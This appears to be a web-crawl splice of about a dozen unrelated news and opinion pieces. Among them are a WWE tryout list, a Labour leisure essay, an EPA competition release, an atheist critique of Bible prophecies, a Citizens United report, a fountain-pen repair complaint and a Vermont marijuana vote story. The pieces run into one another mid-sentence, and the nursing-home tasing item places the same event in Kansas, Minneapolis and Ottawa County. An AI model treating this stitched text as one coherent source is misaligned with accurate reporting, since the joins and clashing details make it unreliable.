"I remember talking to Soviet officers," he adds. "And they were baffled. 'You know they're guilty,' they'd say. 'Why don't you just shoot them?' There was a lot of that kind of feeling in postwar Germany."
Weiss, for his part, says he never went to Germany bent on revenge. "Whatever anger I might have had was dissipated by the devastation and destruction I witnessed of German society. The German people paid dearly for their infatuation with Hitler. But there were times when justice just had to be done."
Matthew Brzezinski last wrote for the Magazine about a Chechen rebel leader. He will be fielding questions and comments about this article Monday at 1 p.m. at washingtonpost.com/liveonline.
© 2005 The Washington Post CompanyORLANDO, Fla. — Thirty-two athletes, with backgrounds spanning the NFL, NCAA wrestling, mixed martial arts and other sports, reported to the WWE Performance Center today for a tryout.
The tryout, which takes place over three days, will be overseen by Performance Center Head Coach Matt Bloom.
“Because our next rookie class is already full of experienced in-ring workers and international diversity, this tryout is focused on athletes and entertainers from all over North America,” Canyon Ceman, WWE’s vice president of talent development, said. “We have made a special effort to target both elite football and amateur wrestling backgrounds for this tryout. We hope to round out the next incoming class of talent with a diverse set of world-class sports-entertainers.”
Among the prospects invited to this camp are:
Blaize Cabell, a University of Northern Iowa heavyweight grappler and three-time NCAA tournament qualifier;
Junior Aumavae, a 311-pound nose tackle formerly signed with the New York Jets and Dallas Cowboys;
Paul Cheng, a former first-round draft pick of the Canadian Football League-turned-MMA fighter;
Demitrius Bronson, a running back formerly signed with the Miami Dolphins and Seattle Seahawks;
Nathan Redwing, a 290-pound independent wrestler who played football at Peru State College;
Arkady Unterleidner, an NPC bikini competitor who has trained under Brian Kendrick;
Brian Waymire, a 6-foot-9 former Division I swimmer who attended the 2013 NFL combine;
Yaseen Mudassar, a 300-pound, two-time All-American wrestler, who competes in the independent circuit as “Yaseen (The Persian) Machine”; and
Ashley Urbanski, an independent wrestler who was a 2015 Tough Enough finalist featured on last year’s WWE Network competition special.
Video of the tryout was posted on the NXT Facebook page via Facebook Live:
Stay tuned to WWE.com for more information on the WWE Performance Center tryouts.One of the elements of Labour’s 2017 manifesto that made me cheer was the pledge to create four new bank holidays. But it was too often treated as a cherry on the cake, rather than the kernel of an idea that could help us transform the excellent but discrete elements of the Party’s programme into a coherent, ambitious, socialist offer.
After 20 years of appealing to the ‘middle class’, both Tories and Labour floundered after the recession when it became evident that most workers were going to experience a decline in living standards and possibly fall into poverty. While a clear majority of British people have identified as ‘working class’ over the past few decades, both parties rejected the phrase, which of course has dangerous resonances with the labour movement and the idea that people might wield collective power.
Instead, the front benches quickly overused the phrase ‘hardworking families’. This proved highly unpopular with voters for a number of reasons I’ve spelt out elsewhere. But one of these reasons points up why those four bank holidays could become the cornerstones of an exciting future. Most people don’t see hard work as a virtue; they would like to work less hard and less often. And that’s a sensible attitude because overwork causes stress, early death, and places huge pressure on the NHS. It also doesn’t solve poverty. We work longer hours now than we’ve done for 50 years, yet the gap between the rich and poor has never been wider.
Labour is promising better jobs for all – and John McDonnell’s commitment to co-operative organisations is a great start. People aren’t afraid of hard work. It was the understanding that people wanted more control over their time that drove the Tories’ electoral successes over the last century. Grammar schools were initially popular with parents who hoped an education would offer their postwar babies what apprenticeships offered an earlier generation: a set of skills that would prove an important bargaining tool. Margaret Thatcher’s promise to make it easier for people to strike out on their own, regardless of their background, by starting their own business and owning their own homes proved very appealing. But promises of social mobility and self-preservation have failed, because only a few can ever possess the wealth and opportunity in a capitalist society.
Under Jeremy Corbyn’s leadership, Labour is finally willing to admit this truth. But we need now to work out exactly how public ownership will enable all of us to benefit from better services, but also to take control of important elements of our lives. The nationalisations of 1945-51 provided far better services than the currently privatised industries do, but we can do even better next time. We need to think carefully about how to ensure that co-operatives really are collectively organised, and how to create governance of schools and healthcare that enables those working in and using these institutions to actively participate in their development. That’s democracy. But in a really successful co-operative like, for example, Unicorn Grocery in Manchester, this requires everyone to invest a considerable amount of time and energy. They need less work and more leisure to make that possible.
Our cultural and educational agenda – including those four bank holidays – can and should be better integrated with these economic aims. Until 1979, many social scientists, trade unionists and politicians assumed that the major issue facing 21st century governments would be providing meaningful leisure, in a society where technological advance would have led most people to work far less than they did a century earlier. As early as 1938, Henry Durant’s book The Problem of Leisure became immediately popular, because it seemed to speak to an inevitable future. That our leisure has not increased is due to political choices, including the proliferation of ‘bullshit jobs’ that David Graeber writes about. We can and should declare that there are more important things in life than work. The desire to work less and spend life on more meaningful activities has shaped our movement, and brought important victories. The TUC’s demand for holidays with pay, for example brought thousands of new, young workers into the movement in the 1930s – and eventually brought about the 1938 Holidays with Pay Act. The labour movement has also played a pivotal role in debates about what a full, rich life might involve: adult education was championed by trade unions, the co-operative movement and the early Labour Party, as the great (but unsung) Workers Educational Association attests.
So four bank holidays could be the start of a new phase in the labour movement’s commitment to leisure. Not only would this be good for our health and for the environment – think of all those commuting hours lost! – but it would promote democratic participation in organising our society. In our movement we already have many organs able to help (or we have a memory of what they looked like): adult education organisations, co-operatives, the trade union movement, community schools, Momentum fora and people’s assemblies among them. Less work would mean more time to be involved in such initiatives.
In 1945 Labour offered to look after everyone from the cradle to the grave through full employment and a welfare state. In future Labour should offer us the tools to look after ourselves and each other, and in doing so create a society dedicated to enriching people and planet, rather than the pockets of the rich.The U.S. Environmental Protection Agency is partnering with the U.S. Department of Agriculture, pork and dairy producers, and environmental and scientific experts to launch the Nutrient Recycling Challenge, a competition to develop affordable technologies that recycle nutrients from livestock waste.
Every year, livestock producers manage more than one billion tons of manure, which contains valuable nutrients – nitrogen and phosphorus – that plants need to grow. Challenge participants will develop technologies that extract nutrients from livestock manure to generate products with environmental and economic benefits that farmers can use or sell.
“Scientists and engineers are already building technologies that can recover nutrients, but further development is needed to make them more effective and affordable,” said EPA administrator Gina McCarthy. “The Nutrient Recycling Challenge will harness the power of competition to find solutions that are a win-win for farmers, the environment, and the economy.”
During the four-phase competition, innovators will turn their concepts into designs and eventually into working technologies that livestock farms will use in pilot projects.
Phase I, which begins Nov. 16 and ends Jan. 15, calls for papers outlining ideas for these technologies. Phase I prizes will be announced in March and include up to $20,000 cash to be split between up to four semi-finalists; invitation to a two-day partnering and investor summit in Washington, DC; and entry into subsequent phases of the challenge with larger awards. Final awards will be announced January 2017, with farm demonstration pilots to follow.
Partners in the Nutrient Recycling Challenge are:
• American Biogas Council
• American Society of Agricultural and Biological Engineers
• Ben & Jerry’s
• Cabot Creamery Cooperative
• Cooper Farms
• CowPots
• Dairy Farmers of America
• Innovation Center for U.S. Dairy
• Iowa State University
• Marquette University
• National Milk Producers Federation
• National Pork Producers Council
• Newtrient LLC
• Smithfield Foods
• Strategic Conservation Solutions
• Tyson Foods
• U.S. Department of Agriculture
• Washington State University
• Water Environment Research Federation
• World Wildlife FundNEW DELHI: Former UPA Cabinet minister and Congress leader Krishna Tirath joined BJP on Monday, in a move that may help the party gain support of dalits in the coming assembly elections.Krishna Tirath, who served as women child and development minister in the UPA Cabinet, met BJP chief Amit Shah and joined the party.'My role in the party will be decided by Amit Shah, but I will work for the people,' Tirath said after meeting the BJP chief.Reacting to the news, which came as a surprise to the Congress leaders, Ajay Maken said "it shows the nervousness of BJP."Ahead of Delhi assembly elections, this move may help the BJP garner support of dalit community, which is considered to be AAP bastion.Of the 12 reserved seats in Delhi, AAP won in 9 seats in the last assembly elections while the BJP won just two and Congress one.So far the BJP had been projecting north west Delhi MP Udit Raj, who had joined the party just before Lok Sabha elections as its dalit face. Sources say, the party will now project her also as its dalit face.Delhi BJP has called a press conference at 4pm.According to TV reports, BJP may field Krishna Tirath in the upcoming Delhi assembly elections.Former UPA minister Krishna Tirath (R) with BJP chief Amit Shah (C) and Delhi BJP chief Satish Upadhyay. (Photo: ANI/Twitter)Israel's climate is ideal for solar power generation. It's almost exclusively sunny and it's warm enough to take advantage of solar thermal as well as solar photovoltaic power, but the country has been slow to move away from fossil fuels, particularly natural gas.
That is starting to change with a new goal to get 10 percent of its energy needs from renewable sources by 2020 and a large solar project that includes the world's largest solar tower.
The Ashalim project, which is being constructed in the Negev desert, will have four different plots, three of which are being built in the first phase. The solar tower is the centerpiece at 250 meters high. The 50,000 mirrors that encircle the tower are close in to the tower to maximize the power output of the land which led to the tower's much taller height.
The solar thermal technology is from BrightSource Energy, the same company behind Ivanpah, the world's largest solar thermal plant, located in the California desert. That plant has 170,000 mirrors, called heliostats, but the tower is only 140 meters tall.
A second plot of the Ashalim project will feature another solar thermal technology that will store energy for use at night and the third plot will feature solar photovoltaic panels. The fourth will plot will also feature a solar power installation, but hasn't been planned yet. The combination of different solar technologies means that they can each complement each other and create a consistent and reliable output of electricity.
When the first phase is completed in 2018, it will easily be the largest renewable energy project in the country. It will have a capacity of 310 MW and will be able to power 130,000 homes or about 5 percent of the population.
Israel has been home to many solar technology breakthroughs, but the government has not embraced renewable energy until now. If this project is successful, we'll likely see more like it soon.Fortis B.C. is defending its decision to increase natural gas rates by 80 per cent, despite the fact the price on commodity markets has only increased by 26 per cent this year.
"We look at a number of factors that include supply and demand on the North American market, combined with looking at expected usage rates and the amount that we pay for certain amounts of gas," said Fortis B.C. spokesman, Michael Allison, to Daybreak South host Chris Walker.
Allison said natural gas rates are approved by the B.C. Utilities Commission every three months.
"We don't mark up the price of natural gas. Customers pay what we pay."
Projected vs. actual cost
But the rates are based on the projected cost of natural gas rather than the actual cost.
If the actual cost turns out to be lower than what customers are charged, Fortis B.C. is required to return the difference.
"We actually have been returning money to our customers for the past couple of years and that has ended," said Allison in explaining the difference between the price increase being passed onto customers when compared to the smaller price increase on commodity markets.
"So it's a little combination of the change in gas prices, and we've kind of drawn the accounts of returning extra money to customers. That does account for that discrepancy a little bit."
Allison pointed out that the cost of natural gas is only a small part what customers pay. There is also a basic daily charge, a delivery charge, and a storage and transportation charge.
So while natural gas rates are going up 80 per cent, the average bill will only go up 12 per cent, he said.
The B.C. Public Interest Advocacy Centre has frequently criticized utility rates in B.C.
But this is not a case of Fortis B.C. trying to grab more profits, said BCPIAC executive director, Tannis Braithwaite.
Different than electricity
In the case of electricity, the utility companies generate the electricity they sell themselves.
"Whereas with Fortis gas, they buy the commodity and then distribute it. So the profit that they make is on the distribution of the gas rather than the purchase of the gas itself," she said.
But that is likely cold comfort for people who still need to pay to heat their homes this winter, especially those with lower or fixed incomes.
"The cost is going up quite significantly," said Braithwaite.
She added that her organization considers gas and electricity to be essential services.
"And there are limited things that can be done to keep the costs of those lows, and so one of the things that we need to look at as a province are ways that we can assist people who aren't able to afford those essential services."
With files from CBC Radio's Daybreak SouthArgument # 3: The Fulfilled Prophecies Argument.
Stated as: “Fulfilled prophecies in the Bible prove its authority as the word of God.”
One of the favorite arguments that Christians use to support their argument that the Bible is God’s word and not man’s word, is the argument of fulfilled prophecies in the Bible. However, these Christians never acknowledge, take into account, or were never told, that many of the alleged fulfilled prophecies were not even prophecies in the first place, and that there is a long list of failed prophecies in both the Old and New Testaments. Let’s list all the factors that they never consider here.
1) First of all, we have no basis to assume that all the events described in the Bible ever occurred in actual history. Therefore we have no reason to just take it for granted, as Christians would like us to, that they all took place. No historian who is religiously unbiased takes the whole Bible as a book of historical facts. In fact, they generally state that the Bible, especially the Four Gospels, were written with an agenda to preach or convert masses, and not as an accurate historical account. Even though the Bible contains some real life historical events and places, we must remember that a work of fiction can contain historical places and events without its story being true. For example, the story of the Wizard of Oz begins in the state of Kansas, which is a real US state, but that doesn’t mean the whole story is true. Also, the movie Gone with the wind takes place during the Civil War, which is a true historical event, but that doesn’t mean that the movie’s events are a true story. Shakespeare’s plays are also examples of this as well.
2) Second, anyone can just write a prediction in one book, and that same person or another can just write the fulfillment of the prediction in another book, without the prophesied event actually taking place. All you need is pen and paper. For example, I could write in one part of a book, "Chapter One: The pig will jump over the horse one day.” And then later write, “Chapter Two: And then the pig jumped over the horse, as was prophesied back in Chapter One." See how easy that is? You could do that if you wanted to. For example, I could find instances of prophecy fulfillment in Tolkien’s Lord of the Rings book series. There are also prophecy fulfillment examples in Homer’s work The Iliad (e.g. the prophecy that the first soldier from the Greek invasion fleet to set afoot on Troy soil would be killed, came true according to the story). I could even find prophecy fulfillment in the modern Harry Potter books too. But that doesn’t make these books the infallible divinely inspired word of God! Nor would it mean that our eternal destiny hangs on what they say!
Imaginary messianic prophecies
3) Third, what Christian ministers and preachers NEVER tell you is that most of the Old Testament prophecies claimed by New Testament writers to be prophecies of Jesus, were not even meant as messianic prophecies in the first place! For example, in Matthew 27:35, it says "And they crucified him, and parted his garments, casting lots: that it might be fulfilled which was spoken by the prophet, 'They parted my garments among them, and upon my vesture did they cast lots.'" which is referring to Psalm 22:18. However, just one look at Psalm 22:18 by anybody will show that the writer, David, was merely singing a psalm as a plea of help from God for injustices done to him (David) and not predicting what would happen to the future messiah! That’s a huge discrepancy!
Likewise, in The Fabulous Prophecies Of The Messiah Jim Lippard points out:
http://www.infidels.org/library/modern/jim_lippard/fabulous-prophecies.html
“There are several verses taken to refer to crucifixion: Psalms 22:16, Zechariah 12:10, and Zechariah 13:6 are typical examples. Psalms 22:16 reads, "For dogs have surrounded me; a band of evildoers has encompassed me; they pierced my hands and my feet." This is a psalm of David which gives no indication of being prophetic and which describes the speaker being hunted down and killed rather than being crucified. Gerald Sigal (1981, p. 98) argues that the Hebrew word translated here as "pierced" is "ariy," which means "lion," and so a more accurate translation would be "like a lion [they are gnawing at] my hands and feet." Gleason Archer (1982, p. 37), however, argues that "they pierced" is correct, based on the Septuagint's translation and other considerations.
Zechariah 12:10 says "they will look on me whom they have pierced; and they will mourn for him, as one mourns for an only son...." The gospel of John ( 19:37 ) takes this as prophecy fulfilled by Jesus' crucifixion, but there is no indication that this speaks of crucifixion. Further, the "him" being mourned for is not the "me" that is being pierced. The Jewish interpretation of this verse is that God is speaking of the people of Israel being "pierced" or attacked (Sigal 1981, pp. 80-82).”
Concerning a famous claimed prophecy of Jesus’ birth, Mr. Lippard also points out:
“There are a number of alleged messianic prophecies about Jesus' birth: prophecies about the location, manner, and time of his birth, about his genealogy, and about events which were to occur at the time of his birth. Probably the most famous of these prophecies is the prophecy that Jesus would be born of a virgin. The gospels of Matthew (1:18-25) and Luke (1:26-35) both claim that Jesus was born of a virgin, but only Matthew (1:23) appeals to the Hebrew scriptures as an explanation for why this should be the case. The verse appealed to is Isaiah 7:14, which reads: "Therefore the Lord himself will give you a sign: Behold, a virgin will be with child and bear a son, and she will call his name Immanuel."
There are a number of difficulties with this passage. As many have noted, the Hebrew word translated as "virgin" in this verse is "almah," which is more accurately translated simply as "young woman." The Hebrew word "bethulah" means "virgin." In the book of Isaiah, "bethulah" appears four times ( 23:12, 37:22, 47:1, 62:5), so its author was aware of the word. In the New American Standard translation of the Bible, all other appearances of "almah" are translated simply as "girl," "maid," or "maiden" (viz: Genesis 24:43, Exodus 2:8, Psalms 68:25, Proverbs 30:19, Song of Solomon 1:3, 6:8). Thus the claimed fulfillment adds a biologically impossible condition which is not even present in the original prophecy.[2]
Another problem is that nowhere in the New Testament does Mary, Jesus' mother, refer to him as "Immanuel." Thus we have no evidence that one of the conditions of the prophecy was ever fulfilled.
But the most serious problem with this alleged messianic prophecy is that it has been taken out of context. Looking at the entire seventh chapter of Isaiah, it becomes clear that the child in question is to be born as a sign to Ahaz, King of Judah, that he will not be defeated in battle by Rezin, King of Syria, and Pekah, son of the King of Israel. Jesus' birth was some seven centuries late to be such a sign. In Isaiah 8:3-4, a prophetess gives birth to a son--Maher-shalal-hash-baz--who is clearly described as the fulfillment of the prophecy in Isaiah 7:14.[3]”
Also, Christians seem to like to tout Genesis 3:15 “And I will put enmity between thee and the woman, and between thy seed and her seed; it shall bruise thy head, and thou shalt bruise his heel.” as prophecy for the coming of Jesus. However, no one who looks at that verse without being told that it is a prophecy would presume that it is a prophecy. It simply says that since snakes and serpents can bite humans’ feet while humans can stomp on them. To read more into it than that is total conjecture without basis, and especially to claim it as messianic prophecy.
These are just some of many examples of false and imaginary messianic prophecies. For more examples and details, see:
Prophecies: Imaginary and Unfulfilled
The Fabulous Prophecies Of The Messiah
Examination Of The Prophecies by Thomas Paine
Nonexistent prophecies
4) Fourth, some of the prophecies claimed to be fulfilled in the New Testament don't even exist in the Old Testament!
For example, in Luke 24:46, Jesus said:
"Thus it is written and thus it was necessary for the Christ to suffer and to rise from the dead the third day."
However, nowhere in the Old Testament does it predict or say that! Also, in John 7:38 Jesus said,
"He who believes in Me, as the Scripture has said, out of his heart will flow rivers of
living water."
If Jesus was right in saying that scripture prophesied this, where is it then? No such statement in the Old Testament scriptures has ever been located, yet "the scripture" Jesus referred to would certainly have been in the Old Testament. How could there be a fulfillment of a prophecy that was never even made?
In another example, Jesus claimed another fulfillment of nonprophecy in Luke 24:46.
"Thus it is written and thus it was necessary for the Christ to suffer and to rise from the dead the third day."
Paul also claimed that Christ's resurrection on the third day was also predicted by scriptures. He said in 1 Corinthians 15:3-4
"For I delivered to you first of all that which I also received: that Christ died for our sins according to the Scriptures, and that He was buried, and that He rose again the third day according to the scriptures."
However, Christian apologists cannot produce a single Old Testament passage that made this alleged third day prediction! It simply doesn't exist! Likewise in John 20:9
"For as yet they knew not the scripture, that he must rise again from the dead."
How could they not know the scripture, since the scripture prophesying that doesn't even exist? No such scripture has ever been found. Jesus also said in Mark 1:2
"It is written in Isaiah the prophet: 'I will send my messenger ahead of you, who will prepare your way'"
Yet no statement like that appears in the book of Isaiah! That is a clear error there, without a doubt. In Acts 20:35 it says
"In everything I did, I showed you that by this kind of hard work we must help the weak, remembering the words the Lord Jesus himself said: `It is more blessed to give than to receive.'"
Yet no such words of Jesus are found in the Bible! Later on, James said in James 4:5
"Or do you think Scripture says without reason that the spirit he caused to live in us envies intensely?"
Again, no such words are found in scripture!
In another indisputable example, Matthew said that Judas' purchase of the potter's field
with the thirty pieces of silver cast back to the chief priests and elders fulfilled a prophecy made by Jeremiah:
"Then was fulfilled that which was spoken through Jeremiah the prophet, saying, And they took the thirty pieces of silver, the price of him that was priced, whom certain of the children of Israel did price; and they gave them for the potter's field as the Lord appointed me." (Matthew 27:9-10)
The only problem here is that Jeremiah NEVER wrote anything remotely similar to this! So how could this be a fulfillment of "that which was spoken through Jeremiah the prophet"? There is a passage in Zechariah that this might refer to though, however, if the Bible is the inerrant word of God, then how could it make mistakes like this?!
When Joseph took his family to Nazareth after they went to Egypt, Matthew said he did this so
"...that it might be fulfilled which was spoken through the prophets, that he should be called a Nazarene." (Matthew 2:23)
Again, Bible scholars have never been unable to find any statement from any prophet that this could be referring to! As a matter of fact, neither the word Nazareth or Nazarene was ever mentioned in the Old Testament. If this is so, how could the period of Jesus' residency in Nazareth have been prophesied by the prophets?
How can an inerrant Bible contain huge mistakes like this? Is it any wonder why Christians never refer to these verses as fulfillment of prophecy? These critical errors clearly render the fulfillment of prophecy argument inept.
Failed, expired, and unfulfilled prophecies
5) Fifth, and perhaps most damaging, there are many prophecies in the Bible which never came true or went unfulfilled, expiring beyond their predicted time.
For instance, here are 16 obvious failed prophecies in regard to the Second Coming of Christ and the end of the world, which was supposed to take place in the First Century Apostles’ lifetime!
Below Jesus clearly predicts that his Second Coming will be during the lifetimes of the First Century Christians who lived in their time.
"Verily I say unto you, There be some standing here, which shall not taste of death, till they see the Son of man coming in his kingdom." (Matthew 16:28)
"But I tell you of a truth, there be some standing here, which shall not taste of death, till they see the kingdom of God." (Luke 9:27)
Jesus clearly predicted in those two verses above that the apostles standing with him would see his second coming in their lifetimes. It's clear and simple, nothing allegorical or symbolical.
These following verses also indicate that Paul expected that he and the Christians of his time would see the Second Coming of Christ.
"But this I say, brethren, the time is short: it remaineth, that both they that have wives be as though they had none;" (1 Corinthians 7:29 )
"For this we say unto you by the word of the Lord, that we which are alive and remain unto the coming of the Lord shall not prevent them which are asleep. For the Lord himself shall descend from heaven... Then we which are alive and remain shall be caught up together with them in the clouds..." (1 Thessalonians 4:15-17)
"God...Hath in these last days spoken unto us by his Son..." (Hebrews 1:1-2)
2000 years ago it was the "last days"!? More similar verses below.
"For yet a little while, and he that shall come will come, and will not tarry."
(Hebrews 10:37)
"But the end of all things is at hand: be ye therefore sober, and watch unto prayer."
(1 Peter 4:7)
"Christ...was manifest in these last times for you,..." (1 Peter 1:19-20)
"Be patient therefore, brethren, unto the coming of the Lord... stablish your hearts: for the coming of the Lord draweth nigh...behold, the judge standeth before the door." (James 5:7-9)
"The Revelation of Jesus Christ, which God gave unto him, to shew unto his servants things which must shortly come to pass;..." (Revelation 1:1)
"Behold, I come quickly." (Revelation 3:11)
"And he said unto me, Seal not the sayings of the prophecy of this book: for the time is at hand... He which testifieth these things saith, Surely I come quickly. Amen. Even so, come, Lord Jesus." (Revelation 22:10, 20)
"But when they persecute you in this city, flee ye into another: for verily I say unto you, Ye shall not have gone over the cities of Israel, till the Son of man be come."
(Matthew 10:22-23)
Jesus said there that his second coming would occur WHILE his apostles were preaching in the cities of Israel!
In the following three verses, Jesus says that the generation living at the time would experience his second coming.
"So ye in like manner, when ye shall see these things come to pass, know that it is nigh, even at the doors. Verily I say unto you, that this generation shall not pass, till all these things be done." (Mark 13:29-30)
"So likewise ye, when ye see these things come to pass, know ye that the kingdom of God is nigh at hand. Verily I say unto you, This generation shall not pass away, till all be fulfilled." (Luke 21:31-32)
"So likewise ye, when ye shall see all these things, know that it is near, even at the doors. Verily I say unto you, This generation shall not pass, till all these things be fulfilled." (Matthew 24:33-34)
Obviously, that generation that Jesus was speaking to has long since passed! What an impressive assortment of failed prophecies! Is this convincing to you of the divine infallible inspiration of the Bible?
Also, in the Old Testament, the Bible made many prophecies which never came true. Here are some examples.
In the book of Deuteronomy and Exodus, God promised Moses and the Israelites that he would deliver them to a promised land. (Deuteronomy 7:17-24, 4:33-39, 7:1-2, 31:1-8, Exodus 23:20-33) However, rather than sending them directly to this “promised land”, instead they were dragged through the hot desert for 40 years, hungry and miserable, and expected to not complain about it! (Hmmmm, I heard that patience is a virtue, but is that fair?) To read the details of this, see Farrell Till’s Yahweh's Failed Land Promise.
Also, a number of prophecies in Ezekiel, Isaiah and other books also failed. Farrell Till lists some in The Prophecy Farce:
http://www.infidels.org/library/magazines/tsr/1998/3/983front.html
“Another--and even more effective-- counterargument to use against those who claim that prophecy fulfillment proves the inspiration of the Bible requires sufficient knowledge of the Bible to show that many Old Testament prophecies obviously failed. Anyone who is willing to put the time into learning just a few of those |
with most formations.
He would be a very good signing and if Manchester United did bid €45m then it's likely they'd get the player.
Manchester United are 12/1 with William Hill to win 2-0 against Chelsea on Monday.Bet £25 Get a £25 Free Bet.
Follow us on Twitter @Sport_WitnessThe Supreme Court may have ruled in Citizens United v. Federal Election Commission days ago, but the decision’s shockwaves are still rippling across American democracy.
Key among them is a concern first raised by Justice John Paul Stevens, who wrote in his dissent that the court, by removing all prohibitions against corporate or union money in U.S. elections, “would appear to afford the same protection to multinational corporations controlled by foreigners as to individual Americans.”
“I guess this would be the corporate globalization of the U.S. electoral system,” a blogger for watchdog group The Sunlight Foundation opined.
RELATED: 41 industry leaders call on Congress to halt corporate ‘bribery’
In other words, The Sunlight Foundation noted, the Supreme Court “might support allowing foreign companies to spend freely in elections in the United States.”
“A majority of large businesses are now owned by foreign entities, and this means international corporations could pour tons of money into the United States political scene, potentially swaying the political climate,” added Newsweek.
The Center for Public Integrity specifically highlights foreign-owned corporations which operate U.S.-based subsidiaries. The group focused on CITGO Petroleum Company, purchased by Venezuela’s state-run oil firm Petróleos de Venezuela in 1990. Through the association, Venezuelan socialist leader Hugo Chavez might conceivably “spend government funds to defeat an American political candidate, just by having CITGO buy TV ads bashing his target.”
“And it’s not just Chavez,” the Center continued. “The Saudi government owns Houston’s Saudi Refining Company and half of Motiva Enterprises. Lenovo, which bought IBM’s PC assets in 2004, is partially owned by the Chinese government’s Chinese Academy of Sciences. And Singapore’s APL Limited operates several U.S. port operations. A weakening of the limit on corporate giving could mean China, Saudi Arabia, Singapore, and any other country that owns companies that operate in the U.S. could also have significant sway in American electioneering.”
President Barack Obama, in his weekly YouTube address on Saturday, blasted the court’s decision, saying that it “strikes at our democracy itself.” He has ordered Congress to “develop a forceful response” to the court’s move, but Newsweek notes that a significant reformation of U.S. election law may not be in place before the 2010 mid-term elections.
“If we do nothing then I think you can kiss your country goodbye,” Rep. Alan Grayson (D-FL) told RAW STORY hours after the court’s decision was announced. “You won’t have any more senators from Kansas or Oregon, you’ll have senators from Cheekies and Exxon. Maybe we’ll have to wear corporate logos like Nascar drivers.”
Anticipating the court’s decision, Grayson has filed six bills to reform campaign finance.
The bills have names like the Business Should Mind Its Own Business Act and the Corporate Propaganda Sunshine Act. The first slaps a 500 percent excise tax on corporate spending on elections, and the second mandates businesses to disclose their attempts to influence elections. More details are available on the congressman’s Web site.
A prior version of this story misattributed a quote from The Sunlight Foundation.I must take issue with some of the repair techniques shown in your video.
I have repaired several hundred snorkels in the last 4 years so i am very familiar with how Sheaffer originally set up the pens.
First of all, shellacking the blind cap screw virtually guarantees the next repair person may break or crack same. It is not expected by proper repair folk as Sheaffer NEVER did this. Obviously the proper workings in creating a vacuum pressure rely on the rubber gasket in the blind cap and if it is worn it needs be replaced not shellacked in.
Secondly, shellacing in the bottom of the bung likewise will guarantee a difficult removal of the sac by the next repair guy. In all likelihood resulting in some destruction of the HR feed in the back which sticks through. No need to do this.
Lastly shellacing in the section was also never done by Sheaffer. they used a rosin based sealant which never truly hardens. Modern thread sealant to Sheaffers exact specs is available. Again the problem is that the next repairer will not be expecting this joint to be bonded by shellac and if sufficient heat is not used then the chances of cracking the section while attempting to open up the joint goes up by leaps and bounds. I assume you understand that a crack in the section and the snorkel will not work. I've had 6 or 8 of those (usually hairlines) and in all cases the section must be made airtight or replaced. Tightly screwing together the parts without shellac will allow the pen to work fine.
In summary, I think the philosophy you stated in the video ( There's no reason for anyone to open the serviced pen back up for a long time (another 50 years?)) needs be re-thought by you.
In this modern era of heavily saturated inks, the likelihood of a sac failure relatively quickly is possible; there have also been instances of defective sacs getting out into the repair world in the last 10 years. It is entirely possible that your "serviced snorkel" may needs be re-serviced much sooner than you expect.Video: Officer tases 91-year-old at nursing home Copyright by WWLP - All rights reserved Video
(CNN) - Police have released bodycam video of a controversial tasing at a nursing home in Kansas. It shows officers tasing a 91-year-old Alzheimer's patient because he was reportedly violent.
People in the Minneapolis community are reacting strongly to this body camera video that shows a sheriff's deputy, tasing a 91-year-old man at a nursing home.
One woman said, "It's bad that happened because dementia is a very sad disease to have to deal with. And for them to do that is kind of disheartening to our community."
When the incident happened in March, the Ottawa County sheriff said the man at the nursing home assaulted another resident and was resisting officers when they tried to get him to a doctor's appointment.
The video shows the man batting at officers with his hands. When he tries to run away, the deputy tases him.
Since this happened, a new administrator at the nursing facility put new policies in place to handle any situations that get out of hand. That administrator said, "I don't know all the details, but what I do want to do is make sure that whatever did take place at the time, we don't have a repeat of."
Some of those changes - more training for staff, including making sure no one ever has to respond to a situation, alone.
The administrator won't comment on if that deputy went too far. "Did that have to happen? I don't know. All I know is I have a resident that got hurt. They should've had a professional on board, first of all, somebody to talk him down. If these police officers were not trained properly on how to handle that, this is what happened."
The family says the man died two months after the tasing, and believes his death is connected with what happened.Vermont is as close as it has ever been to being the next state to legalize recreational marijuana use.
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WEBVTT REPORTER: FOR MORE THAN AN HOURREPRESENTATIVES ON BOTH SIDES OFTHIS ISSUE SPOKE OUT ABOUTSENATE BILL 22.BEFORE ULTIMATELY PASSING THEBILL 79-TO-66.>> YOU HAVE CONCURRED WITH THESENATE PROPOSAL OF AMENDMENT S22REPORTER: IN ONE, FINAL VOTE THEHOUSE AGREED TO LEGALIZEMARIJUANA STARTING NEXT YEAR.ALLOWING ADULTS TO HAVE UP TOONE OUNCE OF POT, AND GROW A FEWPLANTS AT HOME.THE COMPROMISE WORKED OUTBETWEEN THE HOUSE AND SENATE.>> CLEARLY WHAT WE'VE BEEN DOINGUP TO DATE HAS NOT WORKED>> THERE ARE TOO MANY UNANSWEREDQUESTIONS FOR US TO PASS THIS ATTHIS TIMEREPORTER: BEFORE THE VOTE,LAWMAKERS ON BOTH SIDES MADELAST MINUTE APPEALS WHAT WOULDIT MEAN FOR THE BLACK MARKET?OR HIGH WAY SAFETY?>> I WOULD BE HAPPY IF WE COULDGET TO THE POINT WHERE WE HAD AROADSIDE TEST AND SOMEBODYACTUALLY GOT CAUGHT. BUT WHEN WEARRIVE AT A SCENE, WHETHER IT BEFIRE OR EMS, IT'S TOO LATE ATHAT POINTREPORTER: THE LEGISLATURE ALSOAGREED TO SET UP A SPECIALCOMMISSION TO EXAMINE MOVINGTOWARDS A COLORADO-STYLEREGULATED MARKET FOR MARIJUANAAT SOME POINT IN THE FUTURE BUT THE LEGISLATURE WOULD HAVETO APPROVE ANY FUTURE CHANGES.>> I WOULD CONTEND IT ISIRRESPONSIBLE TO NOT GET A
Advertisement Vermont lawmakers pass bill to legalize recreational marijuana Vermont is as close as it has ever been to being the next state to legalize recreational marijuana use. Share Shares Copy Link Copy
Vermont is as close as it has ever been to being the next state to legalize recreational marijuana use.The House voted 79-66 Wednesday afternoon to eliminate penalties for personal marijuana possession of one ounce or less.It allows for adults 21 years and older to have up to two mature marijuana plants and up to four immature plants.Public consumption and private sales would remain against the law.The law would go into effect in July 2018. It now goes to Gov. Phil Scott's desk for consideration.If signed by Scott, Vermont would become the first state to legalize recreational marijuana use via the Legislature.Before passing, lawmakers on both sides of the issue spoke out about the bill. “I would be happy if we could get to the point where we had a roadside test and somebody actually got caught. But when we arrive at a scene, whether it be fire or EMS, it’s too late at that point,” Rep. Don Turner said. “I would contend it is irresponsible to not get a handle on this issue,” Rep. Susan Buckholz said. The bill that passed would also create a commission to study and propose legislation to regulate and tax marijuana for personal use. If signed, additional legislation would be needed to further regulate marijuana use.Proponents of the bill said Vermont made history with the vote.Scott has not yet said if he will veto the measure. He said he has concerns about drivers under the influence of marijuana on Vermont's roads.“I'll take a look at the bill, but I've been pretty clear I'd 